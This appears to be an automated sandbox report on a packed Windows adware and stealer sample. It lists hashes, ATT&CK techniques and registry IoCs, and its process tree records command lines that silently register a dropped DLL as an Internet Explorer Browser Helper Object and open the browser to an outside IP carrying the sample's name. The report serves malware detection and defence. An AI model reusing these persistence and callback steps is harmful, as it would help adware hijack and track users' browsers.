2670fe58cc390fac739d2b162bffac5b76be8c32607a39d1a85297c9fd21fb34

Analysis

max time kernel
103s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2025, 14:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe
Size

13KB
MD5

8ac0f510fb9a027c88395b6d3b67b92c
SHA1

bcccf1009f8e768b2cc77135120db75277fbd20b
SHA256

2670fe58cc390fac739d2b162bffac5b76be8c32607a39d1a85297c9fd21fb34
SHA512

36407f15b0db86539b7d1bf122730cafa85d965d78c1af06ba0c905d73aac6bcc8141be37f6b055ba89ea19dc9835f71f2ddd2534c778e6556d7af0fcb977744
SSDEEP

192:1jDxvOhd+DyxGy3zzqLrNBW2MwtsY12JpdOEyncjWO3L/eagnldolMmD7:1jDMb+DyE2HqtBMwF1+pgnoLMcZ

Score

7^/10

adware discovery stealer upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe

Loads dropped DLL 1 IoCs

pid	Process
5960	regsvr32.exe

Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

BHOs are DLL modules which act as plugins for Internet Explorer.

stealer adware

Modify Registry

T1112

Browser Extensions

T1176

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\ = "Saristar"	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\saristar.dll	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/908-0-0x0000000000400000-0x000000000041E000-memory.dmp	upx
behavioral2/memory/908-4-0x0000000000400000-0x000000000041E000-memory.dmp	upx
behavioral2/memory/908-6-0x0000000000400000-0x000000000041E000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 27 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 40ac046cee9fdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "449937369"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000533c8d3df2dcf94683dee2eda212d06a00000000020000000000106600000001000020000000f01f1c8f20a4d6747984356384bed237be535859a0ba6e3abecd88170420ee07000000000e800000000200002000000076f12bffd71c83a775e30abd230591d5d159897489509d9b5dc2e4376b80888820000000361fad4c104c2b792c01180cad552838dfc9e87bb0b12291198037981cc046c040000000c663834e4d76c30c084165e82de2e9ac93552a4ab5e88530a23281741e0feb9ae13a40d8fc746bfd608f7236ca0e9287cbdf8f138d98488a2dc4c59dbefb77b7	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30490e6cee9fdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{92E275EF-0BE1-11F0-9A21-EE5EE1E3FD33} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000533c8d3df2dcf94683dee2eda212d06a00000000020000000000106600000001000020000000c241e410dc94c3aa3ca6daaf24e3521039fda4e55be7b3398c0a7d9a6ad7dff3000000000e800000000200002000000088e46b49643d3114317a7a815a9b0a61843ab24f2ece943d3fcf3ab1ec6d802f200000000fb7d355a393c39db84c84ec857c2a93811e96a66090ec0bd4d1a693bb0d822240000000fab7045bda4ff45907e1ff4dd1aa06d85c678bbf49110425f51225d6b52de77676c7bdee77f1cbd5c36555c4ca9b5907870aadff335be966aea5d278bffc34d0	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe

Modifies registry class 25 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{90A52F00-64AC-4DC6-9D7D-4516670275D0}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\Saristar.DLL\AppID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\ = "Saristar"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\Programmable	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\VersionIndependentProgID	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar\CurVer	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar.1\CLSID	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\TypeLib	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\TypeLib\ = "{90A52F00-64AC-4DC6-9D7D-4516670275D0}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar\CLSID\ = "{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar\CurVer\ = "Saristar.Saristar.1"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar.1	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar.1\CLSID\ = "{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\InprocServer32\ = "C:\\Windows\\SysWow64\\saristar.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\Programmable\	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\VersionIndependentProgID\ = "Saristar.Saristar"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Saristar.Saristar\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{90A52F00-64AC-4DC6-9D7D-4516670275D0}\ = "Saristar"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\Saristar.DLL	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\InprocServer32\ThreadingModel = "apartment"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\ProgID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C68AE9C0-0909-4DDC-B661-C1AFB9F5AE50}\ProgID\ = "Saristar.Saristar.1"	regsvr32.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5848	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
5848	iexplore.exe
5848	iexplore.exe
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 5960	908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe	86
PID 908 wrote to memory of 5960	908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe	86
PID 908 wrote to memory of 5960	908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe	86
PID 908 wrote to memory of 5848	908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe	98
PID 908 wrote to memory of 5848	908	JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe	98
PID 5848 wrote to memory of 2168	5848	iexplore.exe	102
PID 5848 wrote to memory of 2168	5848	iexplore.exe	102
PID 5848 wrote to memory of 2168	5848	iexplore.exe	102

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\SysWOW64\regsvr32.exe
  "C:\Windows\System32\regsvr32.exe" /s saristar.dll
  2⤵
  - Loads dropped DLL
  - Installs/modifies Browser Helper Object
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:5960
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://217.73.66.16/md.php?data=JaffaCakes118_8ac0f510fb9a027c88395b6d3b67b92c
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5848
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5848 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Browser Extensions

T1176

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
471B

MD5
0c5ef9158dcdd3b41a7e84c5e760b59d

SHA1
9cb930588b30e4399d0fbf73a559b2d89373a6a9

SHA256
95c2b916d5668f7823fc9222d4cac008570c4f1866a3ef2b4175cb1ea5bbd9d9

SHA512
13cf19b192d4b6365ab09e13b5ffc6c26470ff51527d8e49fad7aa410df5a7bc6557e731d5b49fa7c19cd9b677764422d2f57c10d2578cdfdf91cd1120db9c4e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
40ea12e4c99bf57f3bca23dab87008be

SHA1
ea971372855a1226444fb0946f22ae981e89a8a0

SHA256
5258fc436bc5662653767c0632c99fb2621c27d0b5226fb324802e1c6811f944

SHA512
8647eec0e1186acf19b5ab03f6bf1c55b178fe06609ca2ed0864bd0c55793881601f6d2b0150c4ef18cec1038297de24181216530a115ab5366b262f4f05d984

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ONPDW741\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Windows\SysWOW64\saristar.dll

Filesize
6KB

MD5
9952294f4a7b01fe9c6865ab94ea5f46

SHA1
a6a053992f04df0726e3a57f0720ce89fc529dcb

SHA256
3f16a8236c8e4e68124ff3da6b34e98069b389e38a183343b6ea6dafd5a7d3c2

SHA512
525b199013537f8ea45978059858102495f7b5b98fa5e3ebd07fd1bb3b681d558c98c5f2355642b99adea724a3ca7e4f1fb4962545c2f05255dfaf0cd8e70eb5

Download Submit
memory/908-0-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/908-4-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/908-6-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads